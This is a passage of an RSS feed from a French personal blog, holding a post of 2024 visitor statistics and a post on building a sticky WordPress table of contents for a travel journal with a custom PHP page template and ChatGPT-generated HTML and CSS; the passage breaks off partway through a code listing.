            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;2025.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Comme chaque année ou presque, voilà les statistiques du blog pour l&amp;rsquo;année 2024. Comme je le dis à chaque fois, c’est sans doute l’article le plus inutile de l’année, il est donc important de commencer celle-ci par celui-là. :wink:&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est aussi l&amp;rsquo;occasion de souhaiter une bonne année 2025, une bonne santé, et plein de bonnes choses à tous les lecteurs occasionnels ou pas de ce modeste blog.&lt;/p&gt;&#xA;&lt;p&gt;Car autant vous le dire tout de suite, les stats sont nettement à la baisse ! :eek: Et comme je n&amp;rsquo;ai pas fait de stats l&amp;rsquo;année dernière pour cause de voyage, je compare les chiffres à ceux de 2022.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;On commence comme toujours par le nombre de visites mensuelles. Malgré un bon mois de janvier à la hauteur de l&amp;rsquo;année 2022, les mois suivants sont largement inférieurs :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;352px&#34; data-flex-grow=&#34;146&#34; height=&#34;521&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats1-3.png&#34; width=&#34;765&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Quand on compare &lt;strong&gt;les vues&lt;/strong&gt; avec les années précédentes, la baisse est plus que confirmée, puisqu&amp;rsquo;en 2024, on arrive à peine au-dessus de 1500 vues en moyenne par mois contre 2400 en 2022 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;480px&#34; data-flex-grow=&#34;200&#34; height=&#34;550&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats2.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats2_hu_b233fdc41ba4be66.png 800w, https://pled.fr/statistiques-du-blog-annee-2024/stats2.png 1100w&#34; width=&#34;1100&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;480px&#34; data-flex-grow=&#34;200&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats3.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats3_hu_ba719481bc7ccced.png 800w, https://pled.fr/statistiques-du-blog-annee-2024/stats3.png 1104w&#34; width=&#34;1104&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On revient presque aux valeurs de 2015 ! :sad:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1774px&#34; data-flex-grow=&#34;739&#34; height=&#34;167&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats4.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats4_hu_12f7c1fba038f01c.png 800w, https://pled.fr/statistiques-du-blog-annee-2024/stats4.png 1235w&#34; width=&#34;1235&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Concernant le nombre de &lt;strong&gt;visites&lt;/strong&gt;, voilà ce que donne mon tableau de suivi (d’après les statistiques WordPress disponibles, et des données de Free pour les années 2005 à 2007 tirées de mes articles de stats annuels.) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;398&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats5.png&#34; width=&#34;702&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bref, j’arrive ainsi à un total de &lt;strong&gt;707 029&lt;/strong&gt; visites. Du coup, je mets le « footer » du blog avec cette nouvelle valeur (mise à jour annuelle et manuelle, je n&amp;rsquo;ai plus de plugin pour l&amp;rsquo;afficher en temps réel).&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant &lt;strong&gt;1528&lt;/strong&gt; articles publiés sur le blog, et &lt;strong&gt;581&lt;/strong&gt; commentaires.&lt;/p&gt;&#xA;&lt;p&gt;Retour sur 2023 : 53 articles ont été publiés (en hausse), et il y eu 33 commentaires (en baisse) de postés. En 2024, 62 articles ont été publiés (en hausse, de plus j&amp;rsquo;étais absent en janvier et février), et il y eu 36 commentaires (stable) de postés. J&amp;rsquo;ai donc plutôt été productif en terme d&amp;rsquo;articles ces deux dernières années (ce sont bien les seuls chiffres en hausse ! :lol: ).&lt;/p&gt;&#xA;&lt;p&gt;Titre2015201620172018201920202021202220232024Articles75659256685651425362Commentaires2654401095552118583336&lt;/p&gt;&#xA;&lt;p&gt;Et voilà le calendrier des publications pour 2024 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1106px&#34; data-flex-grow=&#34;461&#34; height=&#34;306&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats6.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats6_hu_379d41e721c001d9.png 800w, https://pled.fr/statistiques-du-blog-annee-2024/stats6.png 1411w&#34; width=&#34;1411&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-top-20&#34;&gt;Le Top 20&#xA;&lt;/h3&gt;&lt;p&gt;Venons-en maintenant aux articles les plus lus en 2024.&lt;/p&gt;&#xA;&lt;p&gt;Un des articles sur ma fracture du coude a repris la première place, l&amp;rsquo;autre n&amp;rsquo;est pas très loin (5e), et même la &amp;ldquo;chute de vélo à l&amp;rsquo;arrêt&amp;rdquo; prend la vingtième place ! Impossible de s&amp;rsquo;en défaire&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Après, je vois pas mal d&amp;rsquo;articles liés à OpenMediaVault et bien classés, c&amp;rsquo;est plutôt sympa si les gens se tournent vers l&amp;rsquo;auto-hébergement.&lt;/p&gt;&#xA;&lt;p&gt;Il y a deux nouveaux articles qui apparaissent pour la première fois (comme je n&amp;rsquo;ai pas fait de stats l&amp;rsquo;année dernière) : &amp;ldquo;Pixel 6a : Installation de GrapheneOS&amp;rdquo; et &amp;ldquo;Chaîne Hi-Fi : passage en numérique avec l&amp;rsquo;ampli Aiyima&amp;rdquo;. Je suis très satisfait de ces deux solutions.&lt;/p&gt;&#xA;&lt;p&gt;Côté littérature, seule Simone de Beauvoir et les &amp;ldquo;Mémoires d&amp;rsquo;une jeune fille rangée&amp;rdquo; s&amp;rsquo;en sort plutôt bien avec une belle 14ème place. Un excellent bouquin ! En 2022, c&amp;rsquo;était &lt;a class=&#34;link&#34; href=&#34;http://href=%22/?p=5865&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Ringolevio&lt;/a&gt; qui avait tiré son épingle du jeu en obtenant la 16ème place.&lt;/p&gt;&#xA;&lt;p&gt;Vue graphique :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;274px&#34; data-flex-grow=&#34;114&#34; height=&#34;842&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats7-1.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2024/stats7-1_hu_a0a5398f0420f3ed.png 800w, https://pled.fr/statistiques-du-blog-annee-2024/stats7-1.png 964w&#34; width=&#34;964&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et avec l&amp;rsquo;historique des années précédentes :&lt;/p&gt;&#xA;&lt;p&gt;Titre2015201620172018201920202021202220232024&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;486111407106786994594850586163284927551724&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16901&#34; &gt;Openmediavault : Installation de PLEX server&lt;/a&gt;262515299722061262&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16959&#34; &gt;Openmediavault : Installation de Nextcloud&lt;/a&gt;3482256217431089&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=18887&#34; &gt;KVM : Partager un dossier et le presse-papier entre la machine hôte et l’invité&lt;/a&gt;231926927&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;38081137811027668052643895407519611596887&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17199&#34; &gt;Openmediavault : Organisation des sauvegardes&lt;/a&gt;71415161124803&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17148&#34; &gt;Pihole comme DHCP serveur avec la box Orange&lt;/a&gt;48811351016795&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;6181130734245307475583488667395&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15743&#34; &gt;Un Raspberry Pi pour ma chaîne Hi-Fi&lt;/a&gt;3061616785596295&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10899&#34; &gt;DS Video sur Samsung Smart TV&lt;/a&gt;6282336190219041444558420287&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=19654&#34; &gt;Pixel 6a : Installation de GrapheneOS&lt;/a&gt;431281&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=19813&#34; &gt;Chaîne Hi-Fi : passage en numérique avec l’ampli Aiyima D03&lt;/a&gt;127218&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6863&#34; &gt;Mémoires d’une jeune fille rangée – Simone de Beauvoir&lt;/a&gt;18214342223128111154176208217&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17665&#34; &gt;OpenMediaVault : Sauvegarde &amp;amp; Restauration des containers Docker&lt;/a&gt;66198359214&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11272&#34; &gt;LineageOS avec microG à la place des services Google&lt;/a&gt;31569574492567435380199&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=17202&#34; &gt;Openmediavault : installation de Qbittorrent avec OpenVPN&lt;/a&gt;183298352198&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15569&#34; &gt;Gnome-calendar : ajouter un agenda CalDAV&lt;/a&gt;324456336312191&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10813&#34; &gt;Mapper le répertoire d’un NAS Synology sur Ubuntu&lt;/a&gt;16260436485446279312191&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=18625&#34; &gt;Debian : Installation pilote NVIDIA et configuration X11&lt;/a&gt;153570186&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2339&#34; &gt;Chute de vélo (à l’arrêt)&lt;/a&gt;453843763565468483512273303182&lt;/p&gt;&#xA;&lt;p&gt;Voilà, à l&amp;rsquo;année prochaine (si je ne suis pas reparti en voyage) et portez-vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Une TOC pour mon journal de voyage</title>
            <link>https://pled.fr/une-toc-pour-mon-journal-de-voyage/</link>
            <pubDate>Sat, 21 Dec 2024 17:17:53 +0000</pubDate>
            <guid>https://pled.fr/une-toc-pour-mon-journal-de-voyage/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;toc-1.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finalement, je vais faire un nouveau journal de voyage après mon séjour en Asie de l&amp;rsquo;hiver dernier. Mais en repassant sur les pages existantes (Asie 2018), j&amp;rsquo;ai vu que j&amp;rsquo;avais un peu bâclé la navigation parmi les différentes pages, avec une simple liste HTML de liens en bas de page&amp;hellip; Ce n&amp;rsquo;était ni très joli ni très pratique. Bizarrement, Wordpress ne propose rien de base, il faut passer par des extensions.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc regardé ce qui existait, il y en a quelques unes de pas mal, mais les versions gratuites sont assez basiques et limitées, et il faut payer pour avoir plus de fonctionnalités. Et les prix sont manifestement destinés à des entreprises, du genre plus de cinquante euros par an !&lt;/p&gt;&#xA;&lt;p&gt;Je me suis alors orienté vers une autre solution, à base de deux extensions : une pour me générer une sidebar dédiée, et une autre pour rendre la TOC toujours visible à l&amp;rsquo;écran lors du défilement de la page. Mais là aussi, je me suis trouvé confronté à certaines limitations.&lt;/p&gt;&#xA;&lt;p&gt;Finalement je me suis dit que j&amp;rsquo;allais faire ça tout seul, à base de HTML et de CSS, avec l&amp;rsquo;aide d&amp;rsquo;un template de page spécifique, chose que propose Wordpress. Et comme j&amp;rsquo;avais un peu de mal à tout créer &amp;ldquo;from scratch&amp;rdquo;, j&amp;rsquo;ai eu l&amp;rsquo;idée de demander de l&amp;rsquo;aide à ChatGPT ! Et là j&amp;rsquo;ai carrément été bluffé&amp;hellip; :eek:&lt;/p&gt;&#xA;&lt;p&gt;Les pré-requis étaient un menu qui s&amp;rsquo;affiche à droite de la page, et qui reste présent à l&amp;rsquo;écran lors du défilement de celle-ci. Il doit aussi s&amp;rsquo;afficher en bas de page si l&amp;rsquo;on est sur un smartphone. Et pour le résultat final , voilà un aperçu :&lt;/p&gt;&#xA;&lt;div class=&#34;video-wrapper&#34;&gt;&#xA;    &lt;video&#xA;        controls&#xA;        src=&#34;https://pled.fr/wp-content/uploads/2024/12/TOC.mp4&#34;&#xA;        &#xA;        &#xA;        &#xA;    &gt;&#xA;        &lt;p&gt;&#xA;            Your browser doesn&#39;t support HTML5 video. Here is a&#xA;            &lt;a href=&#34;https://pled.fr/wp-content/uploads/2024/12/TOC.mp4&#34;&gt;link to the video&lt;/a&gt; instead.&#xA;        &lt;/p&gt;&#xA;    &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;p&gt;Voyons voir tout cela étape par étape.&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-situation-de-départ&#34;&gt;La situation de départ&#xA;&lt;/h3&gt;&lt;p&gt;Pour mon &amp;ldquo;Journal de voyage&amp;rdquo;, j&amp;rsquo;avais initialement choisi d&amp;rsquo;utiliser le templage &amp;ldquo;Full width page&amp;rdquo; que propose Wordpress, c&amp;rsquo;est-à-dire sans barre latérale de contenu (sidebar). L&amp;rsquo;idée, c&amp;rsquo;était de se concentrer sur la lecture et d&amp;rsquo;éviter les distractions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;214px&#34; data-flex-grow=&#34;89&#34; height=&#34;287&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/une-toc-pour-mon-journal-de-voyage/Capture-decran-du-2024-12-14-17-43-28.png&#34; width=&#34;256&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et donc j&amp;rsquo;avais fait une simple liste HTML à base de &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; et de &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; qui servait à naviguer à travers les pages. Franchement, ce n&amp;rsquo;était ni joli ni pratique !&lt;/p&gt;&#xA;&lt;h2 id=&#34;les-extensions-pour-toc&#34;&gt;Les extensions pour TOC&#xA;&lt;/h2&gt;&lt;p&gt;Wordpress ne proposant rien par défaut pour construire une table des matières, j&amp;rsquo;ai regardé du côté des extensions. Il y en a pas mal, et beaucoup sont payantes. Les rares gratuites comme &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/easy-table-of-contents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Easy Table of Contents&lt;/a&gt;, permettent de faire des trucs pas mal, mais lorsque j&amp;rsquo;ai voulu aller un peu plus loin dans la personnalisation, je me suis retrouvé bloqué.&lt;/p&gt;&#xA;&lt;p&gt;Je voulais que la TOC soit capable de gérer plusieurs pages puisque c&amp;rsquo;est mon cas, le journal de voyage s&amp;rsquo;étale sur plusieurs pages : une première définie comme &amp;ldquo;parent&amp;rdquo;, et les autres définies comme &amp;ldquo;enfant&amp;rdquo;. J&amp;rsquo;avais bien trouvé un plugin qui faisait cela, mais seulement avec la version payante (&lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/cm-table-of-content/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CMTOC&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai tout de même contacté le support de Easy TOC, mais après un ou deux échanges concernant ma demande, ils m&amp;rsquo;ont proposé une conf&amp;rsquo;call sur le web. J&amp;rsquo;ai laissé tombé, je voyais bien que ça allait se terminer par une prestation payante.&lt;/p&gt;&#xA;&lt;h2 id=&#34;une-autre-solution-avec-2-extensions&#34;&gt;Une autre solution avec 2 extensions&#xA;&lt;/h2&gt;&lt;p&gt;J&amp;rsquo;ai alors essayé de trouver une autre solution. Et je suis tombé sur ces deux extensions qui pouvaient me convenir :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;907px&#34; data-flex-grow=&#34;378&#34; height=&#34;182&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/une-toc-pour-mon-journal-de-voyage/Capture-decran-du-2024-12-14-18-05-12.png&#34; width=&#34;688&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;idée, c&amp;rsquo;est d&amp;rsquo;utiliser &lt;strong&gt;Sidebar Manager&lt;/strong&gt; pour remplacer la sidebar par défaut de mon thème (c&amp;rsquo;est exactement ce qu&amp;rsquo;il permet) pour certaines pages, et d&amp;rsquo;utiliser &lt;strong&gt;Fixed Widget&lt;/strong&gt; pour que ma TOC reste toujours visible à l&amp;rsquo;écran (basé sur une classe CSS), ce qui me convenait tout à fait.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc avancé dans cette solution : modifié mes pages pour qu&amp;rsquo;elle utilisent le &amp;ldquo;Modèle par défaut&amp;rdquo; (c&amp;rsquo;est-à-dire avec la sidebar de mon thème), puis d&amp;rsquo;utiliser l&amp;rsquo;extension &amp;ldquo;Sidebar Manager&amp;rdquo; pour remplacer cette sidebar pour afficher à la place un widget HTML tout simple. Il ne me restait plus qu&amp;rsquo;à faire une TOC en HTML, et de créer un style CSS pour qu&amp;rsquo;il ait une belle allure. Et il restait affiché à l&amp;rsquo;écran grâce à l&amp;rsquo;extension &amp;ldquo;Fixed Widget&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;arrivais à un truc pas mal du tout sur le PC (TOC dans la sidebar et qui reste affichée quand la page défile), sauf que l&amp;rsquo;affichage sur smartphone était mal affiché et de plus tronqué :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;252px&#34; data-flex-grow=&#34;105&#34; height=&#34;685&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/une-toc-pour-mon-journal-de-voyage/sidebar-mobile-1.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Là aussi, j&amp;rsquo;ai contacté le support de l&amp;rsquo;extension Sidebar Manager, mais je n&amp;rsquo;ai pas eu de réponse dans un premier temps (j&amp;rsquo;en ai reçu une depuis, ou quelqu&amp;rsquo;un me dit qu&amp;rsquo;il va voir cela avec son équipe&amp;hellip;). Bon entre-temps j&amp;rsquo;étais passé à la solution suivante.&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-solution-sans-extension&#34;&gt;La solution sans extension&#xA;&lt;/h2&gt;&lt;p&gt;Finalement, je me suis dit : pourquoi ne pas tout faire à la main ? avec le CSS, c&amp;rsquo;est facile de diviser une page en 2 zones (une pour la sidebar), d&amp;rsquo;y mettre une TOC avec l&amp;rsquo;apparence que l&amp;rsquo;on veut, qui reste affichée à l&amp;rsquo;écran, et qui s&amp;rsquo;affichera sous la page en fonction de la taille de l&amp;rsquo;écran&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Pour cela, il me fallait un template de page spécifique. Cette &lt;a class=&#34;link&#34; href=&#34;https://www.codeur.com/tuto/wordpress/template-page-wordpress/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page&lt;/a&gt; donne les explications de base nécessaires, ce qui assez simple finalement : j&amp;rsquo;ai copié le fichier &lt;code&gt;full-width.php&lt;/code&gt; dans le répertoire &lt;code&gt;page-templates&lt;/code&gt; du thème, pour en créer un appelé &lt;code&gt;template-asie-2018.php&lt;/code&gt;. Il faut ensuite éditer le nouveau fichier et changer son &amp;ldquo;Template Name&amp;rdquo; pour qu&amp;rsquo;il soit affiché correctement par les pages d&amp;rsquo;admin de Wordpress :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/**&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * Template Name: Template Asie 2018 Page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * @package WordPress&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * @subpackage Twenty_Fourteen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * @since Twenty Fourteen 1.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;get_header&lt;/span&gt;(); &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;J&amp;rsquo;ai choisi le template full-width puisque je veux créer une sidebar avec le CSS, c&amp;rsquo;est donc une page HTML sans barre latérale dont j&amp;rsquo;ai besoin.&lt;/p&gt;&#xA;&lt;p&gt;Reste à faire cette partie de code, et après quelques essais &amp;ldquo;à la main&amp;rdquo; plutôt laborieux, je me dis tout d&amp;rsquo;un coup : &amp;ldquo;pourquoi ne pas demander à ChatGPT ?&amp;rdquo;. C&amp;rsquo;est étonnant, car c&amp;rsquo;est bien la première fois que j&amp;rsquo;utilise l&amp;rsquo;AI, mais manifestement j&amp;rsquo;avais l&amp;rsquo;info en tête quelque part&amp;hellip; Bizarre comment fonctionne le cerveau ! :roll:&lt;/p&gt;&#xA;&lt;p&gt;Bref, après quelques affinements, ChatGPT m&amp;rsquo;a fourni un fichier HTML et un autre CSS qui faisaient exactement ce que j&amp;rsquo;avais demandé : &amp;quot; &lt;em&gt;Fais-moi une page html et css avec une colonne à droite dans laquelle un cadre contient un menu qui reste affiché à l&amp;rsquo;écran quand la page défile. Ce cadre doit passer en bas de page quand la largeur d&amp;rsquo;écran est inférieure à 600 px&lt;/em&gt;&amp;quot;. Bluffant ! Voilà les fichiers pour les curieux :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2024/12/fichiers-ChatGPT-1.zip&#34; &gt;fichiers ChatGPT&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2024/12/fichiers-ChatGPT-1.zip&#34; &gt;Télécharger&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;À partir de là, il ne reste plus qu&amp;rsquo;à intégrer les parties nécessaires de ce code dans le template Wordpress que l&amp;rsquo;on précédemment créé. Voilà ce que ça donne, les ajouts sont indiqués par un commentaire &amp;ldquo;Personnalisation de la TOC&amp;rdquo;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/**&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * Template Name: Template Asie 2018 Page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * @package WordPress&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * @subpackage Twenty_Fourteen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; * @since Twenty Fourteen 1.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;get_header&lt;/span&gt;(); &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span 